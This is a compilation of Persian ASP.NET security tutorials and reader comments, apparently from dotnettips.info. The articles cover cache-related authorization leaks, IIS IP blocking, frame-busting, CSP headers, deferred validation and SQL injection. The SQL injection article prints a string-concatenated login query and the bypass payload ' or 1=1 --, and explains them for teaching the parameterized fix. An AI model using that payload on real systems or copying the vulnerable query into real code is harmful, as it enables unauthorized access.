+ نرم افزار IDM اگر از طریق افزونه‌های آن (^) اقدام به دریافت این فایل کند، مشکلی نخواهد داشت؛ چون این افزونه‌ها اطلاعات سشن جاری کاربر را به برنامه، جهت شبیه سازی و استفاده‌ی مجدد منتقل می‌کنند (اطلاعاتی مانند کوکی‌ها و تمام مشخصات جاری صفحه‌ی لاگین کرده). به عبارتی اگر شخصی به سایت لاگین کند و از طریق مرورگری که افزونه‌ی IDM بر روی آن نصب است، اقدام به دریافت فایل کند (بر روی لینک کلیک کند تا مرورگر توسط افزونه‌ی مربوطه، درخواست را به برنامه ارسال کند)، دریافت فایل از دید او معمولی و مانند قبل خواهد بود.

نویسنده: هادی جامی
تاریخ: ۱۳۹۴/۰۴/۲۸ ۲۱:۵

با سلام؛ در سرورم فایل‌هایی برای دانلود دارم که عموم مراجعه کنندگان به سایت می‌تونن اون فایل‌ها رو دانلود کنند، فایل‌های عمومی از نسخه‌های آزمایشی نرم‌افزارهایی که به صورت معمول تولید میشه، طبعا به صورت پیش فرض آدرس فایل برای دانلود به صورت ثابت و به شکل http://example.com/trialversion/filename.ext هست، اما من نیاز به این دارم که در زمان درخواست کاربر برای دانلود فایل مسیر دانلود به صورت مجازی یا فیک باشه ولی به یک فایل اصلی مرتبط باشه و کاربر هم وقتی لینک رو می‌بینه در واقع به صورت یه لینک نامشخص ببینه مثلا : http://example.com/6te99ue-0990r/acs9899?dddd یه لینکی شبیه به این یا نزدیک به این .
ممنون میشم راهنماییم کنید که چه‌طور در mvc می‌تونم یه همچین چیزی داشته باشم .

نویسنده: وحید نصیری
تاریخ: ۱۳۹۴/۰۴/۲۸ ۲۲:۳۴

نکته‌ی « یک ستاره قبل از id قرار بدید » با الگوی مسیریابی شما مطابقت دارد. در این حالت id دریافتی می‌تواند تا n سطح هم باشد. این Id را به صورت random تولید و در بانک اطلاعاتی ذخیره کنید. زمانیکه به اکشن متد مربوطه می‌رسد، آن‌را از بانک اطلاعاتی واکشی کرده و بر اساس مسیر واقعی آن، return File کنید.

عنوان: **یافتن اکشن متدهای به اشتباه کش شده در ASP.NET MVC**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۶/۱۱ ۲۳:۴۵
آدرس: www.dotnettips.info
برچسب‌ها: MVC, Security

مرسوم است برای کش کردن خروجی یک اکشن متد در ASP.NET MVC از ویژگی OutputCache استفاده شود. نکته‌ی مهمی که در مورد نحوه پیاده سازی آن وجود دارد، استفاده از OutputCacheModule استاندارد ASP.NET است. در این حالت پس از فراخوانی ابتدایی اکشن متد و کش شدن محتوای حاصل از آن، در دفعه‌ی بعد فراخوانی این آدرس خاص، اصلا چرخه کاری یک کنترلر روی نداده و تمام مسایل توسط OutputCacheModule به صورت مستقل و پیش از رسیدن آن به کنترلر، مدیریت می‌شوند.
خوب، تا اینجا ممکن است مشکلی به نظر نرسد و هدف از کش کردن اطلاعات یک اکشن متد نیز همین مورد است. اما اگر این اکشن متد کش شده، به اشتباه در یک کنترلر مزین شده با ویژگی Authorize قرار گیرد، چه خواهد شد؟ مثلا این کنترلر امن، برای ارائه فایل‌ها یا حتی نمایش قسمتی از صفحه یا کل صفحه، از کش استفاده کرده است. در بار اول دریافت فایل، بدیهی است که تمام مسایل اعتبارسنجی باید مطابق طول عمر یک کنترلر روی دهند. اما در بار دوم فراخوانی آدرس دریافت صفحه یا فایل، اصلا کار به فراخوانی کنترلر نمی‌رسد. به عبارتی کلیه کاربران سایت (اعم از لاگین شده، نشده، دارای دسترسی مشاهده صفحه یا آدرس امن و یا بدون دسترسی)، به این محتوای خاص بدون مشکلی دسترسی خواهند داشت (فقط کافی است که از آدرس نهایی به نحوی مطلع شوند).

سؤال: چگونه می‌توان کلیه اکشن متدهای یک پروژه ASP.NET MVC را که دارای ویژگی OutputCache در یک کنترلر امن هستند، یافت؟

```
using System;
using System.Linq;
using System.Reflection;
// Add a ref. to \Program Files\Microsoft ASP.NET\ASP.NET MVC 4\Assemblies\System.Web.Mvc.dll
using System.Web.Mvc;
// Add a ref. to System.Web
using System.Web.UI;

namespace FindOutputCaches
{
    class Program
    {
        static void Main(string[] args)
        {
            var path = @"D:\site\bin\Web.dll";
            var asmTarget = Assembly.LoadFrom(path);

            checkSecuredControllers(asmTarget);

            Console.WriteLine("Press a key...");
            Console.Read();
        }

        private static void checkSecuredControllers(Assembly asmTarget)
        {
            // یافتن کلیه کنترلرهایی که فیلتر اوتورایز دارند
            var securedControllers = asmTarget.GetTypes()
                                                .Where(type => typeof(IController).IsAssignableFrom(type)
&&
                                                               Attribute.IsDefined(type,
typeof(AuthorizeAttribute)) &&
                                                               !type.Name.StartsWith("T4MVC"))
                                                .ToList();

            foreach (var controller in securedControllers)
            {
                // یافتن کلیه اکشن متدهای کنترلر جاری
                var actionMethods = controller.GetMethods(BindingFlags.Public | BindingFlags.Instance |
BindingFlags.DeclaredOnly)
                                                .Where(method =>
typeof(ActionResult).IsAssignableFrom(method.ReturnType))
                                                .ToList();

                foreach (var method in actionMethods)
                {
                    // یافتن متدهایی که دارای آوت پوت کش هستند
```

```
                    var attributes = method.GetCustomAttributes(typeof(OutputCacheAttribute), true);
                    if (attributes == null || !attributes.Any())
                        continue;

                    var outputCache = (OutputCacheAttribute)attributes[0]; // AllowMultiple = false
                    if (outputCache.Location == OutputCacheLocation.None)
                        continue; //سبب عدم کش شدن شده است؛ مثلا برای کارهای ای‌جکسی

                    Console.WriteLine("Detected incorrect usage of OutputCache in:\n {0}-->{1}",
                                      controller.FullName, method.Name);
                }
            }
        }
    }
}
```

کدهای کامل این بررسی را در اینجا ملاحظه می‌کنید.

ابتدا مسیر اسمبلی کامپایل شده پروژه ASP.NET MVC که حاوی کنترلرهای برنامه است، باید مشخص گردد.

سپس در این اسمبلی کلیه نوع‌های تعریف شده، یافت گردیده و آن‌هایی که پیاده سازی کننده IController هستند (یعنی کلاس‌های کنترلر واقعی برنامه) و همچنین دارای ویژگی AuthorizeAttribute نیز می‌باشند، جدا خواهند شد.

در ادامه، در هر کنترلر امن یافت شده، متدهایی را بررسی خواهیم کرد که دارای خروجی از نوع ActionResult باشند (فقط اکشن متدها مدنظر هستند). اگر این اکشن متد یافت شده دارای ویژگی OutputCacheAttribute بود و همچنین Location آن به None تنظیم نشده بود ... یعنی مشکل امنیتی وجود دارد که باید برطرف شود.

البته برای تکمیل این مطلب باید دو حالت زیر هم پیاده سازی و بررسی شوند:

- کلیه Viewهای برنامه بررسی شوند. اگر در View خاصی که متعلق است به یک کنترلر یا حتی اکشن متد امن، ارجاعی به اکشن متدی کش شده در کنترلری دیگر وجود داشت، این مورد هم یک باگ امنیتی است.
- کلیه کنترلرهای عمومی که دارای اکشن متدی امن هستند نیز باید جهت یافتن OutputCache بررسی شوند.

عنوان: **نحوه‌ی بستن یک بازه‌ی IP در IIS**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۹/۱۱ ۸:۰
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, IIS, Security

یک سری از ربات‌ها مدام سایت‌ها را برای یافتن یک سری از اسکریپت‌های خاص اسکن می‌کنند. IPهای آن‌ها نیز عموما متعلق است به چین و همسایگان آن. مشکلی که با این ربات‌ها وجود دارد این است که از یک IP خاص نشات نمی‌گیرند و به نظر صدها سرور آلوده را جهت مقاصد خود مورد استفاده قرار می‌دهند. به همین جهت نیاز است بتوان یک بازه‌ی IP را در IIS بست.

بستن یک بازه‌ی IP در IIS 6

در IIS6 باید به خواص وب سایت و برگه‌ی Directory security آن مراجعه کرد. سپس در این قسمت، در حین افزودن IP مد نظر، باید گزینه‌ی Group of computers را انتخاب نمود.

در اینجا برای مثال برای بستن IPهایی که با 194 شروع می‌شوند، باید 194.0.0.0 را وارد کرد و در این حالت subnet mask را نیز باید 255.0.0.0 انتخاب کرد. با این subnet mask خاص، اعلام می‌کنیم که فقط اولین قسمت IP وارد شده برای ما اهمیت دارد و سه قسمت بعدی خیر. به این ترتیب تمام IPهای شروع شده با 194 با هر سه جزء دیگر دلخواهی، بسته خواهند شد.

بستن یک بازه‌ی IP در IISهای 7 به بعد

در IISهای 7 به بعد نیاز است مراحل زیر را طی کرده و نقش « IP and Domain Restrictions » را نصب کنید.

```
Administrative Tools -> Server Manager -> expand Roles
-> Web Server (IIS) ->  Role Services -> Add Role Services -> select IP and Domain Restrictions
```

پس از آن با استفاده از تنظیمات ذیل در فایل web.config می‌توان یک IP و یا بازه‌ای از IPها را بست:

```
<system.webServer>
      <security>
         <ipSecurity>
            <add ipAddress="192.168.100.1" />
            <add ipAddress="169.254.0.0" subnetMask="255.255.0.0" />
         </ipSecurity>
      </security>
   </system.webServer>
```

البته علاوه بر نصب نقش یاد شده، باید Feature Delegation نیز جهت استفاده از آن فعال گردد:

```
IIS 7 -> root server -> Feature Delegation -> IP and Domain Restrictions
->  Change the delegation to Read/Write
```

نظرات خوانندگان

نویسنده: آرمان فرقانی
تاریخ: ۱۳۹۲/۰۹/۱۷ ۱۲:۴۶

ضمن تشکر بفرمایید چرا از طریق فایروال دسترسی IPهای یاد شده را مسدود نمی‌کنید؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۹/۱۷ ۱۲:۴۷

این هم یک روش است؛ البته برای کسی که ادمین است. اگر ادمین نباشد و ادمین قبلا قابلیت ذکر شده مخصوص IIS 7 را افزوده باشد، کاربران یک هاست اشتراکی هم می‌توانند راسا و بدون نیاز به ادمین، فقط با ویرایش کردن فایل web.config، اقدام کنند.

نویسنده: آرمان فرقانی
تاریخ: ۱۳۹۲/۰۹/۱۷ ۱۳:۲

بله. البته منابع سیستمی که اسکن‌های یاد شده مصرف می‌کنند، معمولاً مسدود نمودن آنها را در حیطه وظایف مدیر سرور قرار می‌دهد و البته در مورد IIS 6 دسترسی به وب سرور لازم است. و احتمالاً مسدود نمودن از طریق فایروال از نظر سربار و مصرف منابع ارجح است. از طرفی باید در نظر داشت که بسیار دیده شده که همان سرورهای چینی علاقه مند به اسکن سایت‌ها علاقه مند به حملات DDOS و ... هم هستند که الزاماً از مسیر IIS نمی‌گذرد.

در هر صورت ممنون از بیان مطلب فوق که به هر حال دانستن آن بهتر از ندانستن است.سوال کردم چون گفتم شاید دلیل خاصی دارد که این روش را بیان فرمودید.

عنوان: **جلوگیری از درج صفحات سایت در سایتی دیگر از طریق iframeها**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۹/۲۴ ۸:۰
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, JavaScript, MVC, Security

یکی از مواردی را که به کرات در ارجاع دهنده‌های سایت مشاهده می‌کنم، درج صفحات سایت به صورت iframe داخل یک سری سایت‌های تبلیغاتی بسیار سطحی است. سؤال: چگونه می‌توان جلوی این حرکت نامطلوب را گرفت؟
برای این‌کار نیاز است اسکریپت ذیل را به ابتدای اسکریپت‌های سایت خود اضافه کنید:

```
function defrm() {
    document.write = '';
    window.top.location = window.self.location;
    setTimeout(function () {
        document.body.innerHTML = '';
    }, 0);
    window.self.onload = function (evt) {
        document.body.innerHTML = '';
    };
}
if (window.top !== window.self) {
    try {
        if (window.top.location.host)
        { /* will throw */ }
        else {
            defrm(); /* chrome */
        }
    } catch (ex) {
        defrm(); /* everyone else */
    }
}
```

اگر شیء window.top با شیء window.self یکی نبود (یعنی window جاری، window رویی نبود)، بنابراین صفحه‌ی جاری، داخل iframe قرار گرفته‌است. همچنین برای اطمینان بیشتر می‌توان window.top.location.host را نیز فراخوانی کرد. مرورگرهای جدید امکان دسترسی به دومین والد را از طریق یک iframe نمی‌دهند و همینجا یک استثناء صادر خواهد شد.
در مرحله بعد، با فراخوانی window.top.location = window.self.location و سایر کدهایی که مشاهده می‌کنید، کل صفحه را به صورت خودکار به سایت خودمان هدایت خواهیم کرد.

این مورد را نیز می‌توان به مجموعه best practices اجباری تهیه یک سایت اضافه کرد.

نظرات خوانندگان

نویسنده: حامد سبزیان
تاریخ: ۱۳۹۲/۰۹/۲۴ ۹:۴

استفاده از X-FRAME-OPTIONS در هدر درخواست با مقدار SAMEORIGIN با DENY کفایت نمیکنه؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۹/۲۴ ۹:۲۰

خوبه ؛ فقط redirect بحث شده در مطلب را نداره

نویسنده: امید قربانی
تاریخ: ۱۳۹۲/۰۹/۲۷ ۹:۱۹

با سلام؛ اگر بخواهیم این موردی رو که اشاره کردید رو دور بزنیم چطور باید عمل کنیم منظورم اینه که اگر سایتی همچین قابلیتی رو اضافه کرده بود چطور از بین ببریمش ؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۹/۲۷ ۹:۲۶

حداقل با استفاده از جاوا اسکریپت، به دلایل امنیتی ، امکان دسترسی به محتویات یک iframe بارگذاری شده از سایت دیگری را ندارید؛ مگر اینکه سمت سرور، محتویات آن صفحه را دریافت و در ادامه این صفحه‌ی محلی شده را نشان دهید.

نویسنده: behrouz
تاریخ: ۱۳۹۲/۱۲/۲۸ ۲۲:۱۰

سلام
آیا سمت سرور راهی هست که بتوان تشخیص داد صفحاتی که درخواست داده می‌شوند از درون یک Iframe فرخوانی می‌شوند یا خیر(به طور خاص در ASP.NET MVC)

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۱۲/۲۸ ۲۲:۵۹

خیر. راه حل تشخیص سمت سرور، ندارد. هیچ هدر خاصی برای مشخص سازی درخواست اجرای یک صفحه از درون یک IFrame طراحی نشده‌است. حداکثر می‌توان Request.UrlReferrer را بررسی کرد (ولی اطمینانی به آن نیست. چون عوامل زیادی در تغییر آن دخیل هستند؛ از مرورگر تا فایروال و غیره)

عنوان: افزودن هدرهای Content Security Policy به برنامه‌های ASP.NET
نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۹/۲۹ ۱۳:۰
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, MVC, Security

مرورگرهای جدید تحت زیر مجموعه‌ای به نام Content Security Policy، قابلیت‌های توکاری را اضافه کرده‌اند تا حملاتی مانند XSS را حتی در برنامه‌ی وبی که برای این نوع حملات تمهیداتی را درنظر نگرفته‌است، خنثی کنند. این قابلیت‌ها به صورت پیش فرض فعال نبوده و نیاز است برنامه نویس صراحتا درخواست فعال شدن آن‌ها را از طریق افزودن تعدادی هدر مشخص به Response، ارائه دهد. در ادامه این هدرها را بررسی خواهیم کرد.

غیرفعال کردن اجرای اسکریپت‌های inline

عمده‌ی حملات XSS زمانی قابلیت اجرا پیدا می‌کنند که مهاجم بتواند به طریقی (ورودی‌های اعتبارسنجی نشده)، اسکریپتی را به درون صفحه‌ی جاری تزریق کند. بنابراین اگر ما به مرورگر اعلام کنیم که دیگر اسکریپت‌های inline را پردازش نکن، سایت را تا حد زیادی در مقابل حملات XSS مقاوم کرده‌ایم. این قابلیت به صورت پیش فرض خاموش است؛ چون به طور قطع فعال سازی آن بسیاری از سایت‌هایی را که عادت کرده‌اند اسکریپت‌های خود را داخل صفحات وب مدفون کنند، از کار می‌اندازد. این نوع سایت‌ها باید به روز شده و اسکریپت‌ها را از طریق فایل‌های خارجی js، به سایت و صفحات خود الحاق کنند.
برای فعال سازی این قابلیت، فقط کافی است هدرهای زیر به Response اضافه شوند:

```
Content-Security-Policy: script-src 'self'
X-WebKit-CSP: script-src 'self'
X-Content-Security-Policy: script-src 'self'
```

سطر اول به زودی تبدیل به یک استاندارد W3 خواهد شد؛ اما فعلا فقط توسط کروم 25 به بعد پشتیبانی می‌شود. سطر دوم توسط مرورگرهایی که از موتور WebKit استفاده می‌کنند، پشتیبانی می‌شود و سطر سوم مخصوص فایرفاکس است و IE 10 به بعد.
بعد از فعال شدن این قابلیت، فقط اسکریپت‌هایی که از طریق دومین شما به صفحه الحاق شده‌اند، قابلیت اجرا را خواهند یافت و کلیه اسکریپت‌های مدفون شده داخل صفحات، دیگر اجرا نخواهد شد. در این حالت اگر از CDN برای الحاق اسکریپتی استفاده می‌کنید، مثلا مانند الحاق jQuery به صفحه، نیاز است مسیر آن‌را صراحتا در این هدر ذکر کنید:

```
Content-Security-Policy: script-src 'self' https://youcdn.com
X-WebKit-CSP: script-src 'self' https://yourcdn.com
X-Content-Security-Policy: script-src 'self' https://yourcdn.com
```

علاوه بر آن حتی می‌شود پردازش تمام منابع مورد استفاده را نیز مانند تصاویر، شیوه‌نامه‌ها، فایل‌های فلش و غیره، به دومین جاری محدود کرد:

```
Content-Security-Policy: default-src 'self' https://youcdn.com
X-WebKit-CSP: default-src 'self' https://yourcdn.com
X-Content-Security-Policy: default-src 'self' https://yourcdn.com
```

بدیهی است پس از آشنایی با این مورد، احتمالا در پروژه‌های جدید خود از آن استفاده کنید (چون inline scriptهای فعلی شما را کاملا از کار می‌اندازد).

نحوه‌ی اضافه کردن هدرهای Content Security Policy به برنامه‌های ASP.NET

روشی که با هر دو برنامه‌های وب فرم و MVC کار می‌کند، تهیه یک HTTP module است؛ به شرح ذیل:

```
using System;
using System.Web;

namespace AntiXssHeaders
{
```

```
    public class SecurityHeadersConstants
    {
        public static readonly string XXssProtectionHeader = "X-XSS-Protection";
        public static readonly string XFrameOptionsHeader = "X-Frame-Options";
        public static readonly string XWebKitCspHeader = "X-WebKit-CSP";
        public static readonly string XContentSecurityPolicyHeader = "X-Content-Security-Policy";
        public static readonly string ContentSecurityPolicyHeader = "Content-Security-Policy";
        public static readonly string XContentTypeOptionsHeader = "X-Content-Type-Options";
    }

    public class ContentSecurityPolicyModule : IHttpModule
    {
        public void Dispose()
        { }

        public void Init(HttpApplication app)
        {
            app.BeginRequest += AppBeginRequest;
        }

        void AppBeginRequest(object sender, EventArgs e)
        {
            var app = (HttpApplication)sender;
            var response = app.Context.Response;
            setHeaders(response);
        }

        private static void setHeaders(HttpResponse response)
        {
            response.Headers.Set(SecurityHeadersConstants.XFrameOptionsHeader, "SameOrigin");

            // For IE 8+
            response.Headers.Set(SecurityHeadersConstants.XXssProtectionHeader, "1; mode=block");
            response.Headers.Set(SecurityHeadersConstants.XContentTypeOptionsHeader, "nosniff");

            //todo: Add /Home/Report --> public JsonResult Report() { return Json(true); }

            const string cspValue = "default-src 'self';";
            // For Chrome 16+
            response.Headers.Set(SecurityHeadersConstants.XWebKitCspHeader, cspValue);

            // For Firefox 4+
            response.Headers.Set(SecurityHeadersConstants.XContentSecurityPolicyHeader, cspValue);
            response.Headers.Set(SecurityHeadersConstants.ContentSecurityPolicyHeader, cspValue);
        }
    }
}
```

و یا در برنامه‌های ASP.NET MVC می‌توان یک فیلتر جدید را تعریف کرد و سپس آن‌را به صورت عمومی معرفی نمود:

```
//// RegisterGlobalFilters -> filters.Add(new ContentSecurityPolicyFilterAttribute());
public class ContentSecurityPolicyFilterAttribute : ActionFilterAttribute
{
    public override void OnActionExecuting(ActionExecutingContext filterContext)
    {
        var response = filterContext.HttpContext.Response;
        response.AddHeader("Content-Security-Policy", "script-src 'self'");
        // the rest ...
        base.OnActionExecuting(filterContext);
    }
}
```

در ماژول تهیه شده چند مورد دیگر را نیز مشاهده می‌کنید:

الف) X-XSS-Protection مربوط است به IE 8 به بعد

ب) تنظیم هدر X-Frame-Options به SameOrigin سبب می‌شود تا صفحات سایت شما دیگر توسط Iframeها در سایت‌های دیگر قابل نمایش نباشد و فقط در سایت جاری بتوان صفحه‌ای را از همان دومین در صورت نیاز توسط Iframeها نمایش داد.

ج) تنظیم X-Content-Type-Options به nosniff سبب می‌شود تا IE سعی نکند با اجرای یک محتوا سعی در تشخیص mime-type آن کند و به این ترتیب امنیت دسترسی و مشاهده اشیاء قرار گرفته در صفحه (و یا تزریق شده توسط مهاجمین) به شدت بالا خواهد رفت.

برای مطالعه بیشتر

Security through HTTP response headers

پروژه‌ی کاملی مخصوص افزودن هدرهای یاد شده

https://nwebsec.codeplex.com/

یک نکته تکمیلی

توصیه شده‌است تا دیگر از روال رویدادگردان PreSendRequestHeaders برای ارسال هدرها استفاده نکنید؛ چون با پردازش‌های غیرهمزمان تداخل ایجاد می‌کند.

نظرات خوانندگان

نویسنده: محمد رعیت پیشه
تاریخ: ۱۳۹۲/۰۹/۳۰ ۹:۲۳

آیا اگر اجرای Inline غیر فعال شود و پردازش تمام منابع مورد استفاده به دامین جاری محدود شود مهاجم نمی‌تواند یک ارجاع به اسکریپت مخرب خود به صفحه اضافه کند؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۹/۳۰ ۹:۲۷

اجرا نمی‌شود؛ مگر اینکه به هدر ارسالی مانند CDN ذکر شده در متن، آدرس آن اضافه و صراحتا مجوز استفاده از دومینی دیگر توسط برنامه صادر شود.

نویسنده: ناصر طاهری
تاریخ: ۱۳۹۲/۰۹/۳۰ ۱۲:۲۲

یعنی کلیه اسکری‌ت‌ها حتی اسکری‌ت هایی مانند :

```
<script type="text/javascript">
        $(document).ready(function () {
            PopupForm.ShowForm({
                renderFormUrl : "/postreply/renderreplyform",
                .....
          });
        });
</script>
```

اجازه‌ی اجرا ندارند؟ و باید در یک فایل جدا به صفحه تزریق شوند؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۹/۳۰ ۱۳:۱۸

بله. این مثال را در کروم اجرا کنید:

AntiXssHeaders.zip

در صفحه اول آن

```
<script type="text/javascript">
        alert('test');
    </script>
```

درج شده

نویسنده: ناصر طاهری
تاریخ: ۱۳۹۲/۰۹/۳۰ ۱۳:۳۷

ممنون از مثالتون. یک پروژه فروشگاه دارم که داخل هر صفحه‌ی آن پر است از اسکریپت‌های به قول شما مدفون شده. حتی فکر پیدا کردن و منتقل کردن هر کدوم از اونها به داخل یک فایل خارجی وحشت آور است.

نویسنده: رسول آذری
تاریخ: ۱۳۹۲/۱۰/۰۴ ۱۳:۴۷

با سلام . تشکر

من با مرورگر ie9 تست کردم . ولی کد اجرا شد. مگه نگفتین واسه ie8 به بعد؟
و اینکه بعد از استفاده از این روش چطور میتونم از فایل‌های js و jquery خودم توی برنامه استفاده کنم؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۱۰/۰۴ ۱۴:۱۸

- رفتار IE در مورد X-XSS-Protection متفاوت است. یعنی باید واقعا تشخیص بدهد که اسکریپت در حال اجرا یک حمله محسوب می‌شود. یک مثال دریافت کوکی برای امتحان
- مانند قبل. در متن ذکر شده: « سایت‌ها باید به روز شده و اسکریپت‌ها را *از طریق فایل‌های خارجی js* ، به سایت و صفحات خود الحاق کنند »

نویسنده: رسول آذری
تاریخ: ۱۳۹۲/۱۰/۰۴ ۱۴:۳۵

ممنون از پاسخ تون.
یه سری از کدها را میشه توی فایل خارجی قرار داد.
ولی کدهای جاوایی که گریدویو تولید میکنه،چی کار میشه کرد؟
با استفاده از این روش رویدادهایی مثل SelectedIndexChanged در dropdownlist ،
RowCommand در گریدویو ، updatepanel و scriptmanager از کار می‌افته.آیا راهی برای این مشکل وجود داره؟
با تشکر

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۱۰/۰۴ ۱۵:۲

- به ASP.NET MVC کوچ کنید تا کنترل کاملی بر روی عناصر اضافه شونده به صفحه داشته باشید.
- با استفاده از jQuery به هر عنصری در صفحه می‌توان رویدادهای خاصی را انتساب داد یا حذف کرد. انجام اینکار از طریق یک فایل js الحاق شده به صفحه نیز میسر است.

عنوان: **امکان اعتبارسنجی با تاخیر در ASP.NET 4.5**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۱۰/۰۴ ۱:۰
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, MVC, Security

در نگارش‌های قبلی ASP.NET Web forms اگر نیاز به ارسال محتوای HTML ایی وجود داشت، می‌بایستی کل سیستم اعتبارسنجی حداقل یک صفحه را غیرفعال کرد. برای مثال:

```
<%@ Page Language="C#" ValidateRequest="false" %>
```

این نقیصه‌ی همه یا هیچ، در ASP.NET MVC وجود ندارد و می‌توان به ازای یک خاصیت خاص، اعتبارسنجی پیش فرض را با اعمال ویژگی AllowHtml موقتا غیرفعال کرد؛ اما مابقی فیلدها و خاصیت‌های فرم همچنان تحت نظر سیستم اعتبارسنجی‌های ورودی ASP.NET قرار خواهند داشت و به این ترتیب امکان ورود اطلاعات خطرناک، خصوصا از لحاظ مباحث XSS، حداقل در آن فیلدها وجود نخواهد داشت.
در ASP.NET 4.5 مفهوم جدیدی به نام Deferred validation معرفی شده‌است تا رفتار Web forms را نیز در برابر ورودی‌های ارسال شده همانند ASP.NET MVC کند. به این معنا که اگر جهت دسترسی به مقدار کوئری استرینگ lastName همانند قبل عمل کنید:

```
Request["lastName"]
```

و کاربر ورودی خطرناکی را وارد کرده باشد، همچنان استثنای A potentially dangerous request.form value was detected صادر می‌شود.
اما اگر در ASP.NET 4.5، کوئری استرینگ را به نحو ذیل دریافت کنید:

```
Request.Unvalidated.QueryString["lastName"]
```

به صورت خودکار سیستم اعتبارسنجی غیرفعال شده و امکان دسترسی به محتوای اصلی کوئری استرینگ lastName را خواهید داشت. به این ترتیب دیگر نیازی نخواهید داشت تا اعتبارسنجی کل صفحه را برای دسترسی به یک مقدار خاص غیرفعال نمائید.
برای دسترسی به مقادیر اعتبارسنجی نشده فیلدهای یک فرم ارسالی نیز می‌توان به صورت ذیل عمل کرد:

```
Request.Unvalidated.Form[txtData1.UniqueID]
```

کلاس Request.Unvalidated شامل خاصیت‌های Cookies، Files، Headers و امثال آن نیز می‌باشد.
در اینجا اگر دقت کرده باشید از UniqueID بجای Id استفاده شده‌است؛ از این جهت که مجموعه Form، حاوی Idهای واقعی دریافت شده از کاربر مانند ctl00$MainContent$MessageText می‌باشد.

روش دوم، استفاده از خاصیت جدید ValidateRequestMode یک کنترل سمت سرور است و در اینجا نیز می‌توان صرفا اعتبارسنجی یک کنترل را بجای کل صفحه، غیرفعال کرد:

```
<asp:TextBox ID="txtASPNet" ValidateRequestMode="Disabled" runat="server" />
```

تنظیم خاصیت ذکر شده برای کنترل‌های سمت سرور ضروری است. از این جهت که در حین تشکیل ViewState از محتوای این کنترل‌ها نیز استفاده می‌شود. اینجا است که اگر ValidateRequestMode غیرفعال نشده باشد، باز همان خطای ورودی خطرناک را دریافت خواهید کرد.

البته برای فعال سازی اعتبارسنجی با تاخیر نیاز است اصلاح ذیل را نیز به web.config برنامه اعمال کنید (مقدار پیش فرض آن 4 است):

```
<httpRuntime targetFramework="4.5" requestValidationMode="4.5" />
```

عنوان: SQL Injection چیست؟
نویسنده: م منفرد
تاریخ: ۱۳۹۲/۱۰/۱۰ ۰:۵
آدرس: www.dotnettips.info
گروه‌ها: امنیت, بانک, Security

برای ایجاد امنیت در نرم افزار، باید ابتدا مشکلات رایج را بدانیم. یکی از رایجترین نقائص امنیتی نرم افزارها SQL Injection می‌باشد.

SQL Injection در لغت به معنی تزریق کد SQL می‌باشد. در اصلاح یعنی تزریق دستوراتی به کد SQL تولیدی یک نرم افزار به نحوی که به جای عمل مورد انتظار برنامه نویس آن، کاری را که ما می‌خواهیم انجام دهد. مثلا به جای اینکه هنگام ورود به برنامه وقتی کاربر مشخصات کاربری خود را وارد می‌کند، مشخصات کاربری را به نحوی وارد کنیم که بتوانیم بعنوان مدیر سامانه و یا یک کاربر معمولی بدون داشتن کلمه عبور وارد سیستم شویم.

البته همیشه از این نوع حمله برای ورود به سیستم استفاده نمی‌شود. یعنی ممکن است هکر به عنوان یک کاربر عادی وارد سیستم شود ولی با به کاربردن دستورات خاص SQL در بخش‌های مختلف، بتواند اطلاعاتی را حذف نماید.

خوب حالا این کار چگونه انجام می‌شود؟

فرض کنید برنامه نویسی کد چک نام کاربری را اینگونه نوشته باشد:

```
SqlCommand cmd=new SqlCommand ("select count(*) from login where user='"+userName+"' and
pass='"+password+"'",con);
```

فکر نکنید خوب این نوع کد نویسی مربوط به زمان تیرکمون شاه است! همین امروز در نظارت از یک پروژه به این نکته برخورد کردم! دلیل نوشتن این مقاله هم همین کد بود.

خوب حالا مگر کد بالا چه مشکلی دارد؟ ;) اگر کاربر در نامه کاربری و کلمه عبور مقادیر معمولی وارد کند (مانند admin, salam123) کد sql تولید شده به شکل زیر خواهد بود:

```
select count(*) from login where user='admin' and pass='salam123'
```

خوب حالا اگر کاربر کمی با ورودی‌ها بازی کند. به عنوان مثال فرض کنید به جای کلمه عبور تایپ کند

```
' or 1=1 --
```

نتیجه حاصله خواهد بود:

```
select count(*) from login where user='admin' and pass='' or 1=1 --'
```

با وارد کردن این دستور کاربر بدون داشتن کلمه عبور خواهد توانست وارد سیستم شود. موردی که توضیح دادم پایه مسئله بود. ما قصد آموزش هک نداریم ولی داشتن اطلاعات پایه لازم است. ممکن است فردی بگوید خوب ما قبل از تولید همچین کدی ' را از رشته کلمه عبور حذف می‌کنیم. خیلی خوب ولی اگر هکر از معادل unicode آن استفاده کرد چه؟ اگر و اگر و اگر...

راه حل‌های متعددی برای این موضوع پیشنهاد شده است. ولی ساده‌ترین و کارآمدترین راه، استفاده از پارامترها می‌باشد که علاوه بر حذف این خطر باعث ایجاد و ذخیره query plan در sql server می‌شود و اجرای این query را در آینده تسریع می‌کند.

بنابراین می‌توان کد فوق را به صورت زیر بازنویسی کرد:

```
SqlCommand cmd=new SqlCommand ("select count(*) from login where user=@u and pass=@p",con);
cmd.Parameters.Add("@u", SqlDbType.Varchar, 10).Value=TextLogin.Text.Trim();
cmd.Parameters.Add("@p", SqlDbType.Varchar,10).Value=TextPwd.Text.Trim();
```

نظرات خوانندگان

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۱۰/۱۰ ۰:۹

استفاده از ORMها هم می‌تونه مفید باشه.

نویسنده: م منفرد
تاریخ: ۱۳۹۲/۱۰/۱۰ ۰:۱۶

